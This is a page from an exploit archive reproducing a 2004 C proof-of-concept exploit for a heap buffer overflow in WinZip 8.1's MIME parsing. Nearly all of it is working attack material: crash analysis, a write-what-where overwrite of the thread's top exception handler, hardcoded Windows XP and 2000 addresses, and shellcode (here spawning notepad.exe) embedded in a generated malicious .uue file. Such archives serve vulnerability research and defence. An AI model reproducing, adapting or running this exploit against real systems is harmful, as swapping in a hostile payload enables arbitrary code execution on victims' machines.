Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
WinZip32 MIME Parsing Overflow - exploit.company
header-logo
Suggest Exploit
vendor:
WinZip
by:
snooq
7.5
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: WinZip
Affected Version From: WinZip 8.1
Affected Version To: WinZip 8.1
Patch Exists: NO
Related CWE:
CPE: a:winzip_computing:winzip:8.1
Metasploit:
Other Scripts:
Platforms Tested: Windows XP SP1, Windows 2000 SP1
2004

WinZip32 MIME Parsing Overflow

This is a proof-of-concept exploit for the WinZip32 MIME Parsing Overflow bug. The exploit takes advantage of a buffer overflow vulnerability in WinZip 8.1 on Windows XP SP1 and Windows 2000 SP1. The exploit allows an attacker to control the EBX register and execute arbitrary code.

Mitigation:

Upgrade WinZip to a patched version or use an alternative file compression tool.
Source

Exploit-DB raw data:

/*
 *  Author: snooq       
 *  Date: 14 April 2004  
 *
 *  This is a PoC exploit for WinZip32 MIME Parsing Overflow
 *  bug reported by iDefense on 27 February 2004.
 *
 *  The original advisory is found here:
 *  http://www.idefense.com/application/poi/display?id=76
 *
 *  This version is SP dependent becoz my idiotic shellcode
 *  uses hardcoded addresses.... =p 
 *  
 *  So, test it locally only. Afterall, it's just a PoC rite?
 *  Nonetheless, it's possible to make it more portable by 
 *  using a universal shellcode... 
 *
 *  but beware... chars like <>,.:;'"=[]\/ are filtered...
 *  so feel free to XOR it.. =p
 *
 *  Notes
 *  =====
 *  1) Tested against WinZip 8.1 on WinXP SP1, Win2K SP1 only
 *
 *  2) You need to first launch WinZip before you 'Open'
 *
 *  3) Double clicking the 'uue' won't work 
 *     why so? go figure it out urself... =p 
 *     once u know why... u'd then know how to fix it...
 *
 *  Greetz
 *  ======
 *  # eugene, nam, jf, valmont and the rest..
 *  # sk, shashank + Security_Auditors folks...
 *  # iDefense folks... SiG^2 guys etc...
 *  # lastly.. Greg Hoglund for his 'Cross Page' stuffs... =p
 */

/*
 *  A snapshot of the 'crash'
 *  =========================
 *
 *  Our buffer on the heap looks like this:
 *  
 *  [....AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEEEEEEEEEEEEEEE....]
 *  |--- heap grows this way --------->
 *
 *   
 *  and the CPU is about to execute the following code:
 *
 *  0049BFFC  |> 8B4C13 08      MOV ECX,DWORD PTR DS:[EBX+EDX+8]
 *  0049C000  |. 8B7C13 04      MOV EDI,DWORD PTR DS:[EBX+EDX+4]
 *  0049C004  |. 8979 04        MOV DWORD PTR DS:[ECX+4],EDI
 *  0049C007  |. 8B4C13 04      MOV ECX,DWORD PTR DS:[EBX+EDX+4]
 *  0049C00B  |. 8B7C13 08      MOV EDI,DWORD PTR DS:[EBX+EDX+8]
 *  0049C00F  |. 035D F8        ADD EBX,DWORD PTR SS:[EBP-8]
 *  0049C012  |. 8979 08        MOV DWORD PTR DS:[ECX+8],EDI
 *  0049C015  |. 895D F4        MOV DWORD PTR SS:[EBP-C],EBX
 *
 *  and, EBX register seems to be under our control... =p
 *
 *  EDX = ptr to 'DDDD'	
 *  EBX = 'DDDD' - 1		
 *
 *  By carefully choosing a value for EBX, we are able to manipulate
 *  ECX at 0049BFFC and EDI at 0049C000.
 *
 *  If we set 'DDDD'=0xfffffff5 (-11), 
 *  
 *  -> EBX would be '0xfffffff4' (-12)
 *  -> [EBX+EDX+8] becomes [EDX-4] and ECX = 'CCCC'
 *  -> [EBX+EDX+4] becomes [EDX-8] and EDI = 'BBBB'
 *
 *  Effectively at 0049C004, we can write a DWORD 'BBBB' to ['CCCC'+4]
 *  After that.....
 *
 *  -> [EBX+EDX+4] becomes [EDX-8] and ECX = 'BBBB'
 *  -> [EBX+EDX+8] becomes [EDX-4] and EDI = 'CCCC' 
 *  
 *  Finally we reach MOV DWORD PTR DS:['BBBB'+8],'CCCC' at 0049C012..
 *
 *  Choosing the rite values for 'BBBB' + 'CCCC', execution flow could
 *  be reliably diverted into our shellcode.
 *
 *  In this exploit, I've chosen to install our code as the main thread's
 *  top exception handler so that when exception is triggered at 0049C012,
 *  our code will be called to 'handle' it... =p
 *
 *  This is how I did it but I'm not sure if this is the best way.
 *  If you know of any other better way to exploit this.....
 *  pleaseeeeee tell me....... :)
 *
 */

#include <windows.h>
#include <stdlib.h>
#include <stdio.h>

#define TARGET	1
#define NOP	0x90

/*
 * Gap for NOPs (not really needed)
 */
#define PAD	0		

/*
 * This 'RANGE' nonsense was useful
 * in locating the 'index', i.e. 'DDDD'
 */
#define RANGE	1*4		

/*
 * Where we control the 'index',
 * i.e EBX register's value
 */
#define IDXOFF	268-RANGE+4 

/*
 * We find our 'where' + 'what' here...
 */
#define OFFSET	IDXOFF-8	

/*
 * -12 bytes from 'index' into where
 * 'where'+'what' are...
 */
#define INDEX	0xfffffff5	 

#define BSIZE	1024
#define FNAME	"snooq.uue"
#define SSIZE	sizeof(shellcode)-1
#define HSIZE	sizeof(header)-1

char buff[BSIZE];
long where, what;

struct {
	char *os;
	long topSEH;
	long jmpADD;
}

targets[] = {
	{
		"Window XP (en) SP1",
		0x7ffddffe,	// Per Thread Top SEH - 2
		0xf27cffff  // [this address + 4] -> shellcode
	},
	{
		"Window 2000 (en) SP1",
		0x7ffddffe,	// Per Thread Top SEH - 2
		0xf354ffff  // [this address + 4] -> shellcode
	},
}, v;

/*
 * Harmless payload that spawns 'notepad.exe'... =p
 */

char shellcode[]=
	"\x55"					// push ebp 
	"\x8b\xec"				// mov ebp, esp
	"\x33\xf6"				// xor esi, esi
	"\x56"					// push esi
	"\x68\x2e\x65\x78\x65"	// push 'exe.'
	"\x68\x65\x70\x61\x64"	// push 'dape'
	"\x68\x90\x6e\x6f\x74"	// push 'ton'
	"\x46"					// inc esi		
	"\x56"					// push esi
	"\x8d\x7d\xf1"			// lea edi, [ebp-0xf]	
	"\x57"					// push edi		
	"\xb8XXXX"				// mov eax, XXXX -> WinExec()  
	"\xff\xd0"				// call eax
	"\x4e"					// dec esi
	"\x56"					// push esi
	"\xb8YYYY"				// mov eax, YYYY -> ExitProcess()  
	"\xff\xd0";				// call eax

char header[]="Content-Type: multipart/mixed; boundary=";

void err_exit(char *s)
{
	printf("%s\n",s);
	exit(0);
}

void filladdr()
{
	char *ptr;
	int i=0, index=INDEX, idxoff=IDXOFF;

	long addr1=(long)WinExec;
	long addr2=(long)ExitProcess;

	printf("-> WinExec() is at: 0x%08x\n",addr1);
	printf("-> ExitProcess() is at: 0x%08x\n",addr2);

	ptr=shellcode;

	while (*ptr!='\0') {
		if (*((long *)ptr)==0x58585858) {
			printf("-> Filling in WinExec at offset: %d\n",(ptr-shellcode));
			*((long *)ptr)=addr1;
		}
		if (*((long *)ptr)==0x59595959) {
			printf("-> Filling in ExitProcess at offset: %d\n",(ptr-shellcode));
			*((long *)ptr)=addr2;
		}
		ptr++;
	}

	ptr=buff+HSIZE+OFFSET;
	printf("-> 'what' == 0x%08x at offset %d\n",what,OFFSET);
	*((long *)ptr)=what;

	ptr+=4;
	printf("-> 'where' == 0x%08x at offset %d\n",where,OFFSET+4);
	*((long *)ptr)=where-4;

	ptr=buff+HSIZE+idxoff;

	for (;i<RANGE;i+=4) {
		printf("-> 'index' == 0x%08x at offset %d\n",index-i,idxoff+i);
		*((long *)(ptr+i))=index-i;
	}

}

void buildfile() 
{
	int i=0;

	FILE *fd;

	if ((fd=fopen(FNAME,"w"))==NULL) {
		err_exit("-> Failed to generate file...");
	}

	for(;i<sizeof(buff);) {
		fprintf(fd,"%c",buff[i++]);
	}

	fclose(fd);

	printf("-> '%s' generated....\n",FNAME);

}

int main(int argc, char *argv[]) 
{
	int i=0, t=TARGET;

	if (argc==2) { t=atoi(argv[1]); }

	where=targets[t-1].topSEH;
	what=targets[t-1].jmpADD;

	printf("\nWinZip32 MIME Parsing Overflow PoC, By Snooq [jinyean@hotmail.com]\n\n");

	memset(buff,NOP,BSIZE);
	printf("-> Generating 'uue' file for target #%d...\n",t);
	memcpy(buff,header,HSIZE);
	filladdr();
	memcpy(buff+HSIZE+IDXOFF+4+PAD,shellcode,SSIZE);
	buildfile();

	return 0;

}


// milw0rm.com [2004-04-15]